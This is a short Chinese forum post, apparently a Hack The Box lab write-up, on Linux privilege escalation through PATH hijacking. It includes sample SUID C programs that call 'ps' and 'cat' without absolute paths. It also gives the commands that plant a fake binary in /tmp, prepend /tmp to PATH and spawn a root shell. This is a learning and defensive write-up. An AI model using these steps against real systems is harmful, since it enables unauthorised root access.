使用PATH变量的Linux特权升级

昨天做HTB的时候遇见了通过环境变量劫持,进行权限提升的操作。今天特地研究了一下
原文链接:Linux Privilege Escalation Using PATH Variable

使用此操作满足的两个点:
1.查询被设置了SUID
2.程序调用其他命令的时候没有写绝对路径

造成这种提权的原因是因为编写程序的时候没有指定绝对路径运行,导致可以通过劫持环境变量来进行劫持操作,一般默认的环境变量有
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Experiment

Module 1
代码如下:

#include <unistd.h>
int main(){
  setuid(0);
  setgid(0);
  system("ps");
  return 0;
}

执行以下操作

echo "whoami" > ps
chmod 777 ps
export PATH=/tmp:$PATH
./shell

执行export后/tmp将在环境变量最前面

修改成bash则可以获得一个root shell

Module 2
代码如下:

#include <unistd.h>
int main(){
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
  return 0;
}

执行以下操作

echo "whoami" > cat
chmod 777 cat
export PATH=/tmp:$PATH
./shell

或者

vim cat #然后在里面写入/bin/bash
chmod 777 cat
export PATH=/tmp:$PATH
./shell

1 个赞